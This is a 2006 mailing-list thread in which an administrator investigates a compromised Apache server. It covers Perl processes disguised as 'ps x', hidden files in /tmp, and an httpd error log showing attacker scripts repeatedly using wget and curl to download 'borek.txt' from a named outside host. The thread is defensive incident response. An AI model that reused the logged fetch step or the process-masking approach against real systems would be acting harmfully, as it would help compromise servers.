> El Jueves, 16 de Noviembre de 2006 22:56, olga@xxxxxxxxxxxxxx escribió: >> > On Thu, 2006-11-16 at 10:26 -0600, olga@xxxxxxxxxxxxxx wrote: >> >> Hi, >> >> >> >> I wrote about kernel errors which somebody pointed out was because >> the >> >> server was running out of memory. >> >> >> >> Now I found the following which makes me think that that server may >> have >> >> been compromized. >> >> >> >> Here's what I get when I issued: netstat -nap >> >> >> >> tcp 0 0 131.x.x.x:38423 72.x.x.x:80 ESTABLISHED >> >> 5226/ps x >> >> tcp 0 0 131.x.x.x:38420 72.x.x.x:80 ESTABLISHED >> >> 5365/ps x >> >> >> >> About a hundred instances of that program 'ps x' running. >> >> >> >> Also here's what ps -ef produced: >> >> >> >> apache 6323 1 0 10:30 ? 00:00:00 ps x >> >> apache 6324 1 0 10:30 ? 00:00:00 ps x >> >> apache 6326 1 0 10:30 ? 00:00:00 ps x >> >> apache 6328 1 0 10:30 ? 00:00:00 ps x >> >> apache 6330 1 0 10:30 ? 00:00:00 ps x >> > >> > What does ls -l /proc/6323/exe say? That would be a symlink to the >> > executable for that process. Normal ps lives in /bin so the link >> should >> > point at /bin/ps. If it is connecting out to a remote host, it's >> likely >> > not the normal ps, just something that's masking itself to make it >> less >> > likely to get picked up. >> > >> > -- >> > David Hollis <dhollis@xxxxxxxxxxxxxx> >> >> apache 3102 1 0 15:53 ? 00:00:00 httpd >> apache 3104 1 0 15:53 ? 00:00:00 httpd >> apache 3106 1 0 15:53 ? 00:00:00 httpd >> apache 3108 1 0 15:53 ? 00:00:00 httpd >> apache 3110 1 0 15:53 ? 00:00:00 httpd >> apache 3112 1 0 15:53 ? 00:00:00 httpd >> apache 3114 1 0 15:53 ? 00:00:00 httpd >> apache 3116 1 0 15:53 ? 00:00:00 httpd >> apache 3118 1 0 15:53 ? 00:00:00 httpd >> apache 3120 1 0 15:53 ? 00:00:00 httpd >> apache 3122 1 0 15:53 ? 00:00:00 httpd >> apache 3125 1 0 15:54 ? 00:00:00 httpd >> apache 3127 1 0 15:54 ? 00:00:00 httpd >> apache 3129 1 0 15:54 ? 00:00:00 httpd >> apache 3131 1 0 15:54 ? 00:00:00 httpd >> apache 3133 1 0 15:54 ? 00:00:00 httpd >> apache 3135 1 0 15:54 ? 00:00:00 httpd >> apache 3137 1 0 15:54 ? 00:00:00 httpd >> apache 3139 1 0 15:54 ? 00:00:00 httpd >> apache 3141 1 0 15:54 ? 00:00:00 httpd >> apache 3143 1 0 15:54 ? 00:00:00 httpd >> apache 3145 1 0 15:54 ? 00:00:00 httpd >> apache 3639 1 0 15:57 ? 00:00:00 ps x >> apache 3642 1 0 15:57 ? 00:00:00 ps x >> apache 3645 1 0 15:58 ? 00:00:00 ps x >> apache 3647 1 0 15:58 ? 00:00:00 ps x >> >> >> I am getting a ton of these... >> Here's what ls -l /proc/3147/exe says >> lrwxrwxrwx 1 apache apache 0 Nov 16 15:56 /proc/3147/exe >> -> >> /usr/bin/perl >> >> When I do netstat -nap I get: >> tcp 0 0 131.x.x.x:44160 72.14.x.x:80 ESTABLISHED - >> tcp 0 0 131.x.x.x:44161 72.14.x.x:80 ESTABLISHED - >> tcp 0 0 131.x.x.x:44162 72.14.x.x:80 ESTABLISHED - >> >> The ip points to google... >> >> And these appeared in the /tmp folder: >> >> drwxrwxrwt 8 root root 4096 Nov 16 16:00 . >> drwxr-xr-x 23 root root 4096 Nov 16 14:35 .. >> srwx------ 1 root nobody 0 Nov 16 14:36 .fam_socket >> drwxrwxrwt 2 xfs xfs 4096 Nov 16 14:35 .font-unix >> srw-rw-rw- 1 root root 0 Nov 16 14:36 .gdm_socket >> -rw-r--r-- 1 apache apache 0 Nov 15 15:20 .httpd >> drwxrwxrwt 2 root root 4096 Nov 16 14:36 .ICE-unix >> drwx------ 2 root root 4096 Nov 16 14:59 mc-root >> drwx------ 2 root root 12288 Nov 16 15:16 orbit-root >> -rw-r--r-- 1 apache apache 0 Nov 16 15:58 >> sess_azx3a4wq3x1f2aad4a34sxx1w2o52a45 >> -rw-r--r-- 1 apache apache 11669 Nov 16 15:43 >> sess_rdav631df3a1ddfaa34s1x1wwo521459 >> -r--r--r-- 1 root root 11 Nov 16 14:36 .X0-lock >> drwxrwxrwt 2 root root 4096 Nov 16 14:36 .X11-unix >> >> What is going on? >> > > Finally...did they break into your system? Did you find something strange > on > the logs? I wonder what happened, give us some information this thread is > quite interesting and will help other folks in a near future ;-) > One way or another, if they got shell access (even remote text shell, you > know...) you should think about reinstalling your system, as far as i > know, > if the left a rootkit you must not trust your system anymore. > > By the way, let me give you and advice, installing Babel Enterprise could > be a > nice idea, ( http://babel.sourceforge.net/en/ ), yeah yeah, it's GPL ;-) > > Babel is an enterprise-grade auditing system to manage a consistency on > security policy between different systems in a non-homogeneus > architecture. > Babel allows to manage very different operating systems, like AIX, > Solaris, > Windows 2000, Windows XP, Linux, *BSD or HPUX. > > Babel allows administrator team to monitor the hardening level of their > systems and keep constantly monitored, using periodic policy polling, and > of > course, a WEB Based, graphical reporting, and of course, a centralized > management for all systems > > There's a demo online, try it. > > Hope this helps. It does appear that there has been a break-in. Some kind of script was running that was consuming all system resourses. At the time it was running, it was also deleting log entries, so if I looked at the log and searched for the time we brough the server up on the network, logs would show no activity at that time. And that 72.x.x.x IP was probably bogus as well. Here's what I found in the httpd error log: --06:31:56-- http://autocoutureinc.com/borek.txt => `borek.txt' Resolving autocoutureinc.com... 208.67.181.244 Connecting to autocoutureinc.com|208.67.181.244|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 11,666 (11K) [text/plain] 0K .......... . 100% 169.99 KB/s 06:31:56 (169.99 KB/s) - `borek.txt' saved [11666/11666] Died at sess_rdav631df3a1ddfaa34s1x1w2o521459 line 24. Died at sess_rdav631df3a1ddfaa34s1x1w2o521459 line 24. rm: cannot remove `borek.txt*': No such file or directory % Total % Received % Xferd Average Speed Time Curr. Dload Upload Total Current Left Speed 100 11666 100 11666 0 0 23100 0 0:00:00 0:00:00 0:00:00 156k Died at sess_dda2631df3a1ddfaa34s1x1wwo521459 line 24. Died at sess_dda2631df3a1ddfaa34s1x1wwo521459 line 24. rm: cannot remove `borek.txt*': No such file or directory Died at sess_edav631df3a15dfaa34s1x1wwo521459 line 24. Died at sess_edav631df3a15dfaa34s1x1wwo521459 line 24. sh: line 1: lynx: command not found sh: line 1: fetch: command not found Died at sess_tdx4d3td33a1ddfaa34s1x11x2521459 line 24. Died at sess_tdx4d3td33a1ddfaa34s1x11x2521459 line 24. --06:32:02-- http://autocoutureinc.com/borek.txt => `borek.txt' Resolving autocoutureinc.com... 208.67.181.244 Connecting to autocoutureinc.com|208.67.181.244|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 11,666 (11K) [text/plain] 0K .......... . 100% 166.39 KB/s A bunch of these with other file names instead of borek.txt and other ips as well.
